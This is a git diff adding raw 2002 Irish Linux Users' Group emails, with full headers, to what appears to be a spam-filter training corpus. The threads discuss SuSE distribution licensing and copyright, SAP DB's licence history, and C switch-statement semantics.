+TIA. + + +Paul... + + +> Kate + + + +___________________________________________________________ +Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! +Yahoo! Mail : http://fr.mail.yahoo.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00351.e08898f91941c9c27c93c339054148de b/bayes/spamham/easy_ham_2/00351.e08898f91941c9c27c93c339054148de new file mode 100644 index 0000000..292e1c7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00351.e08898f91941c9c27c93c339054148de @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 07AEB44124 + for ; Tue, 13 Aug 2002 05:21:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:37 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CJ5ob30258 for + ; Mon, 12 Aug 2002 20:05:50 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA01843; Mon, 12 Aug 2002 20:05:25 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA01818 for ; + Mon, 12 Aug 2002 20:05:18 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17eKVA-0005lC-00 for ; Mon, 12 Aug 2002 12:05:16 -0700 +Date: Mon, 12 Aug 2002 12:05:15 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020812190515.GC25331@linuxmafia.com> +References: <20020812174932.58511.qmail@web13904.mail.yahoo.com> + + <20020812182625.GA25331@linuxmafia.com> + <1029178811.9166.10.camel@gemini.windmill> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <1029178811.9166.10.camel@gemini.windmill> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Nick Murtagh (nickm@go2.ie): + +> The same one as provided on www.sapdb.org? +> Which is released under the GPL/LGPL? + +I honestly don't know. I made that list a long time ago, and certainly +didn't re-research it before posting it today. So, I offer three +candidate explanations: + +1. I muffed that part, the first time, and was talking through my hat. +2. SAP had a proprietary version licensed to SuSE at the time. +3. SAP still have one licensed to SuSE today. + +I'm not sure which applies. #1 is certainly a good possibility. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00352.b568f3993a0aaef44130ed26d9663097 b/bayes/spamham/easy_ham_2/00352.b568f3993a0aaef44130ed26d9663097 new file mode 100644 index 0000000..f232978 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00352.b568f3993a0aaef44130ed26d9663097 @@ -0,0 +1,58 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0F0F944123 + for ; Tue, 13 Aug 2002 05:21:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:36 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CJ34b30120 for + ; Mon, 12 Aug 2002 20:03:04 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA01458; Mon, 12 Aug 2002 20:01:01 +0100 +Received: from mail.go2.ie ([62.17.153.101]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA01425 for ; Mon, + 12 Aug 2002 20:00:53 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.153.101] claimed to + be mail.go2.ie +Received: from k100-50.bas1.dbn.dublin.eircom.net + (k100-50.bas1.dbn.dublin.eircom.net [159.134.100.50]) by mail.go2.ie + (Postfix) with ESMTP id 845BF10EB for ; Mon, 12 Aug 2002 + 20:00:22 +0100 (IST) +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +From: Nick Murtagh +To: ilug@linux.ie +In-Reply-To: <20020812182625.GA25331@linuxmafia.com> +References: <20020812174932.58511.qmail@web13904.mail.yahoo.com> + + <20020812182625.GA25331@linuxmafia.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8-3mdk +Date: 12 Aug 2002 20:00:10 +0100 +Message-Id: <1029178811.9166.10.camel@gemini.windmill> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Mon, 2002-08-12 at 19:26, Rick Moen wrote: +> NON-freely redistributable apps (in boxed sets): +> ----------------------------------------------- +> SAP database + +The same one as provided on www.sapdb.org? +Which is released under the GPL/LGPL? + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00353.3cb4c058f609b8e464be92437be6f81b b/bayes/spamham/easy_ham_2/00353.3cb4c058f609b8e464be92437be6f81b new file mode 100644 index 0000000..36df1ed --- /dev/null +++ b/bayes/spamham/easy_ham_2/00353.3cb4c058f609b8e464be92437be6f81b @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0E29343C40 + for ; Tue, 13 Aug 2002 05:21:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:38 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CJ7Xb30310 for + ; Mon, 12 Aug 2002 20:07:33 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA01977; Mon, 12 Aug 2002 20:06:49 +0100 +Received: from mail.go2.ie ([62.17.153.101]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA01948 for ; Mon, + 12 Aug 2002 20:06:40 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.153.101] claimed to + be mail.go2.ie +Received: from k100-50.bas1.dbn.dublin.eircom.net + (k100-50.bas1.dbn.dublin.eircom.net [159.134.100.50]) by mail.go2.ie + (Postfix) with ESMTP id 169D910EB; Mon, 12 Aug 2002 20:06:10 +0100 (IST) +Subject: RE: [ILUG] slashdot EW Dijkstra humor +From: Nick Murtagh +To: Kenn Humborg +Cc: ilug@linux.ie +In-Reply-To: +References: +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8-3mdk +Date: 12 Aug 2002 20:05:58 +0100 +Message-Id: <1029179159.9170.14.camel@gemini.windmill> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Mon, 2002-08-12 at 19:56, Kenn Humborg wrote: +> Well, you should consider 'break' inside a 'select' statement +> to be part of the syntax, rather than a control flow modifier. + +Why? When it comes down to the assembly level, it gets turned +into some kind of jump instruction. Should I pretend I don't know +this when I'm programming? + +> A _mandatory_ part of the syntax, at that. + +It's not mandatory. You can leave out the break, and the flow +of control will continue to the next case. Which can be useful +in certain circumstances. + +Nick + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00354.98d3b7fe5983f71c36117b2aceb5dcd3 b/bayes/spamham/easy_ham_2/00354.98d3b7fe5983f71c36117b2aceb5dcd3 new file mode 100644 index 0000000..144a6ba --- /dev/null +++ b/bayes/spamham/easy_ham_2/00354.98d3b7fe5983f71c36117b2aceb5dcd3 @@ -0,0 +1,74 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A9D2D44126 + for ; Tue, 13 Aug 2002 05:21:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:39 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CJMwb30862 for + ; Mon, 12 Aug 2002 20:22:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA02689; Mon, 12 Aug 2002 20:22:03 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA02650 for ; + Mon, 12 Aug 2002 20:21:56 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.webnote.net + [193.120.211.219] claimed to be webnote.net +Received: (from lbedford@localhost) by webnote.net (8.9.3/8.9.3) id + UAA19042; Mon, 12 Aug 2002 20:21:19 +0100 +Message-Id: <20020812202114.A18984@mail.webnote.net> +Date: Mon, 12 Aug 2002 20:21:14 +0100 +From: lbedford@lbedford.org +To: Paul Linehan +Cc: ilug@linux.ie +Subject: Re: [ILUG] To hell with SuSE - is there a distro I can get (Was: SUSE 8 disks? (thread changed slightly)) +References: <20020812105644.GK1920@jinny.ie> + <20020812175921.63263.qmail@web13901.mail.yahoo.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailer: Mutt 0.93.2 +In-Reply-To: <20020812175921.63263.qmail@web13901.mail.yahoo.com>; + from Paul Linehan on Mon, Aug 12, 2002 at 07:59:21PM +0200 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Mon, Aug 12, 2002 at 07:59:21PM +0200, Paul Linehan wrote: +> +> "John P. Looney" a écrit: +> +> > > I'm confused. I thought it was GPL'ed and +> > > that the money you paid SuSE was for your +> > > 60 day support or whatever? +> +> > The RPMS are. The distribution as a whole work is +> > copyright of SuSE. +> +> +> This IMHO, goes against the spirit of GPL. +> +> +> Thanks for the info. +> +I can copy the RedHat official download ISO's. I can't +call it redhat if I sell it, so I can give you copies +of thread linux 7.3 if you want. + +Failing that, I have the 7 CD's from Woody (Debian 3.0). +Otheriwse, you need to find a different source. + +L. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00355.a42b7b791419c4d5a33b9cefda4fe2b7 b/bayes/spamham/easy_ham_2/00355.a42b7b791419c4d5a33b9cefda4fe2b7 new file mode 100644 index 0000000..ff2ff6e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00355.a42b7b791419c4d5a33b9cefda4fe2b7 @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5190A43FB1 + for ; Tue, 13 Aug 2002 05:21:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:42 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CKUOb00568 for + ; Mon, 12 Aug 2002 21:30:24 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA05579; Mon, 12 Aug 2002 21:29:29 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id VAA05556 for ; + Mon, 12 Aug 2002 21:29:18 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17eLoR-0006s2-00 for ; Mon, 12 Aug 2002 13:29:15 -0700 +Date: Mon, 12 Aug 2002 13:29:15 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020812202915.GJ25331@linuxmafia.com> +References: <20020811182012.GD25331@linuxmafia.com> + <20020812094352.97487.qmail@web13906.mail.yahoo.com> + <20020812105644.GK1920@jinny.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020812105644.GK1920@jinny.ie> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting John P. Looney (valen@tuatha.org): + +> The RPMS are. The distribution as a whole work is copyright of SuSE. + +I've not seen any claim from SuSE of copyright over the distribution +as a whole. (That would be a "compilation copyright", to use the legal +term.) But they definitely assert (and in fact own) copyright over +YaST, YaST2, and the associated installer program. + +So, if one wanted to distribute a version of SuSE free of encumbrances +from SuSE Linux AG, one would merely have to write a replacement +installer and do without YaST/YaST2 (and probably a few other things +they wrote). A Simple Matter of Programming. + +-- +Cheers, "That article and its poster have been cancelled." +Rick Moen -- David B. O'Donnel, sysadmin for America Online +rick@linuxmafia.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00356.b9181a622935ef7869af85616a8cceab b/bayes/spamham/easy_ham_2/00356.b9181a622935ef7869af85616a8cceab new file mode 100644 index 0000000..de519a5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00356.b9181a622935ef7869af85616a8cceab @@ -0,0 +1,130 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C01D644127 + for ; Tue, 13 Aug 2002 05:21:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:40 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CKFrb32513 for + ; Mon, 12 Aug 2002 21:15:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA04980; Mon, 12 Aug 2002 21:14:47 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id VAA04952 for ; + Mon, 12 Aug 2002 21:14:40 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17eLaI-0005gA-00 for ; Mon, 12 Aug 2002 13:14:38 -0700 +Date: Mon, 12 Aug 2002 13:14:36 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020812201435.GH25331@linuxmafia.com> +References: <200208121043.LAA07769@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <200208121043.LAA07769@lugh.tuatha.org> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting wintermute (cout@eircom.net): + +> No, as of oh, about a year to a year and a half ago +> SuSE revoked it's free offering of it's retail distro. +> Sometime about the start of the great slump, SuSE pulled +> free release of it's main x86 product. +> +> So the last free version of SuSE you could get via a Linux Format +> par example was 7.0 I think. + +Let's limit the discussion to x86, to simplify. There are some +additional complications for some of the other architectures. +(Essentially, they make most of the other architectures' ISO images +available gratis, because they aren't selling boxed sets and want the +public to have them anyway. The ISOs include third-party proprietary +apps, but of necessity not the highly-restricted ones available in +boxed set editions.) + +(1) You can get a single-disk ISO9660 image of SuSE "evaluation" +edition, version 7.0, _lots_ of places, including here: + +ftp://ftp.suse.com/pub/suse/i386/evaluation-7.0/evaluation-7.0.iso + +(2) You could "wget -r" (or equivalent) the entire 8.0 FTP Edition (for +lack of an official name for it) from here (or mirror sites): + +ftp://ftp.suse.com/pub/suse/i386/8.0/ + +Please note the restricted rights granted for use of the SuSE-originated +YaST program specifically, stated here: + +ftp://ftp.suse.com/pub/suse/i386/8.0/COPYRIGHT.yast + +A grant of limited redistribution rights to the distribution as a whole +(apparently covering the FTP Edition and the Evaluation Edition) is +stated here: ftp://ftp.suse.com/pub/README.mirror-policy Quoting: + + please make sure that you meet the following conditions if + you intend to mirror ftp.suse.com: + + - SuSE Linux (YaST in particular) may not be reproduced on + CDs or other media FOR VALUE. Reproduction for personal + or educational use is explicitly allowed and encouraged. + +> I'm not sure on the details of it, but I think SuSE have +> probably done an OpenBSD of the cd they sell? + +OpenBSD Foundation assert a compilation copyright over the OpenBSD +official ISO9660 image. A compilation copyright is the copyright +monopoly that, for example, the editor of a set of third-party short +stories receives. Even though he didn't write any of the constituent +stories, he put creative work into selecting, arranging, and editing +those stories. The law recognises such efforts as creative works +deserving copyright protection, if there is sufficient creative effort. +(A judge would decide, if someone made a court case of it.) Courts have +held, on the other hand, that arrangement and publication of +alphabetical telephone listings in a "yellow pages" telephone directory +(the advertising section) don't have anywhere near enough creative +content to support an overreaching telco's claim of compilation +copyright. (The court politely said "Nice try", in effect.) + +The OpenBSD Foundation's claim may be a bit of a legal bluff, too. +Theoretically, one could get around it by creating a slightly different +set of ISO9660 images, thereby finessing the claim of compilation +copyright. But nobody bothers, because OpenBSD Foundation actually +charges only a very reasonable price for jewel-case sets, and nobody +wants to endure the barrage of hatemail from Theo & co. + +I've never seen any claim from SuSE of compilation copyright on its ISOs +or distribution as a whole. + +> I could be wrong, I don't use SuSE so haven't investigated, +> but essentially the only 'free' version of SuSE will be it's +> ftp offering. + +Again, the "FTP Edition" and the Evaluation Edition may be redistributed +more-or-less freely, as long as it's not "for value". (Ditto the +"live-eval" edition, which is a demo only.) The three boxed sets' +contents may not. + +-- +Cheers, A good man has few enemies; a ruthless man has none. +Rick Moen +rick@linuxmafia.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00357.e7d56ee8cf689fa0a5276446772fa8ec b/bayes/spamham/easy_ham_2/00357.e7d56ee8cf689fa0a5276446772fa8ec new file mode 100644 index 0000000..e755430 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00357.e7d56ee8cf689fa0a5276446772fa8ec @@ -0,0 +1,67 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B5FED44129 + for ; Tue, 13 Aug 2002 05:21:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:44 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CL5Vb01627 for + ; Mon, 12 Aug 2002 22:05:31 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA07460; Mon, 12 Aug 2002 22:05:04 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id WAA07403 for ; + Mon, 12 Aug 2002 22:04:56 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17eMMx-0003FR-00 for ; Mon, 12 Aug 2002 14:04:55 -0700 +Date: Mon, 12 Aug 2002 14:04:55 -0700 +From: Rick Moen +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020812191450.GD25331@linuxmafia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <1029178811.9166.10.camel@gemini.windmill> +User-Agent: Mutt/1.4i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Nick Murtagh (nickm@go2.ie): +> On Mon, 2002-08-12 at 19:26, Rick Moen wrote: +> +>> NON-freely redistributable apps (in boxed sets): +>> ----------------------------------------------- +>> SAP database +> +> The same one as provided on www.sapdb.org? +> Which is released under the GPL/LGPL? + +Looking at http://www.sapdb.org/history.htm , it seems that SAP went +open-source some time in 2000, so my information likely was correct +at the time I compiled that list. + +In addition, please note that, just because a company decides to go open +source with a codebase as of some new release version, that doesn't make +all versions ever released open source retroactively. A licence +attaches to a _copy_ of a creative work. So, if there was a +proprietary, non-redistributable copy in SuSE boxed sets, it's still +proprietary and non-redistributable -- unless SAP AG decided to mail out +a separate permission grant for it. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00358.87ee38040ac1f42320c7b89628b1850a b/bayes/spamham/easy_ham_2/00358.87ee38040ac1f42320c7b89628b1850a new file mode 100644 index 0000000..4042d8d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00358.87ee38040ac1f42320c7b89628b1850a @@ -0,0 +1,95 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7B0E444128 + for ; Tue, 13 Aug 2002 05:21:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:43 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CKktb00886 for + ; Mon, 12 Aug 2002 21:46:55 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA06551; Mon, 12 Aug 2002 21:46:24 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id VAA06436 for ; + Mon, 12 Aug 2002 21:46:04 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17eM4h-0000lp-00 for ; Mon, 12 Aug 2002 13:46:03 -0700 +Date: Mon, 12 Aug 2002 13:46:03 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020812204603.GK25331@linuxmafia.com> +References: <20020811182012.GD25331@linuxmafia.com> + <20020812094352.97487.qmail@web13906.mail.yahoo.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020812094352.97487.qmail@web13906.mail.yahoo.com> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Paul Linehan (plinehan@yahoo.com): + +> I'm confused. I thought it was GPL'ed and that the money you paid SuSE +> was for your 60 day support or whatever? + +Yes, you're confused. + +A Linux distribution (_any_ Linux distribution) contains lots and lots +of separate codebases. Some are under the GNU GPL. Many are not. Are +you clear on this point, now? This is my second try. One suspects that +you actually understand perfectly, but just don't like it. + +You're further confused if you think the GNU GPL gives you the right to +get covered software for free. It does not. It provides that _if_ +you've lawfully received a copy of the covered binary version, you have +rights to also receive the matching source code. + +> I don't particularly need support, so I'm not really interested in +> purchasing a set of disks with 4 billion apps which I'll never use. + +Then, if you nonetheless want a SuSE boxed set's contents, the only way +you can do that without copyright violation _and_ without having to pay +the purchase price is to get someone to _give_ (not "lend" or duplicate) +you his copy. + +> Yes, thanks for your input. Anyway, I've a friend with 7.3 pro, so +> I'll just ask him. + +Ask him _what_? If you're asking him to "lend" or duplicate his CDs, +then you'll be ripping off SuSE Linux AG illegally. + +Don't like SuSE's product licensing? Write your own distribution. You +can even grab most of what you need _from SuSE_. All you have to do is +heed the licensing terms on the individual pieces. + +What, you think that's too much work? Then, try a different +distribution. Clue: _Not_ one packaged in a retail boxed set. Even RH +7.3 retail boxed sets include non-freely redistributable applications on +the Star office 5.2 CD and the Productivity Applications CD, among +others. (The core 3-CD set of the basic RH distribution, on the other +hand, contains only software that may be freely redistributed, whether +open source or not.) + +-- +Hi! I'm a .signature virus! Copy me into your ~/.signature to help me spread. +Hi!p I'm a .signature spread virus! Copy into your ~/.signature to help me +Hilp I'm .sign turepread virus! into your ~/.signature! help me! Copy +Help I'm traped in your ~/signature help me! -- Joe Slater + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00359.29dd3e8213e61044d67bc15a6f9a5231 b/bayes/spamham/easy_ham_2/00359.29dd3e8213e61044d67bc15a6f9a5231 new file mode 100644 index 0000000..a94e65d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00359.29dd3e8213e61044d67bc15a6f9a5231 @@ -0,0 +1,81 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AB2BE43C43 + for ; Tue, 13 Aug 2002 05:21:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:47 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CNnLb07084 for + ; Tue, 13 Aug 2002 00:49:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA13560; Tue, 13 Aug 2002 00:48:54 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail05.svc.cra.dublin.eircom.net + (mail05.svc.cra.dublin.eircom.net [159.134.118.21]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id AAA13536 for ; Tue, + 13 Aug 2002 00:48:48 +0100 +Message-Id: <200208122348.AAA13536@lugh.tuatha.org> +Received: (qmail 95679 messnum 259755 invoked from + network[159.134.237.75/jimbo.eircom.net]); 12 Aug 2002 23:48:18 -0000 +Received: from jimbo.eircom.net (HELO webmail.eircom.net) (159.134.237.75) + by mail05.svc.cra.dublin.eircom.net (qp 95679) with SMTP; 12 Aug 2002 + 23:48:18 -0000 +From: "wintermute" +To: ilug@linux.ie 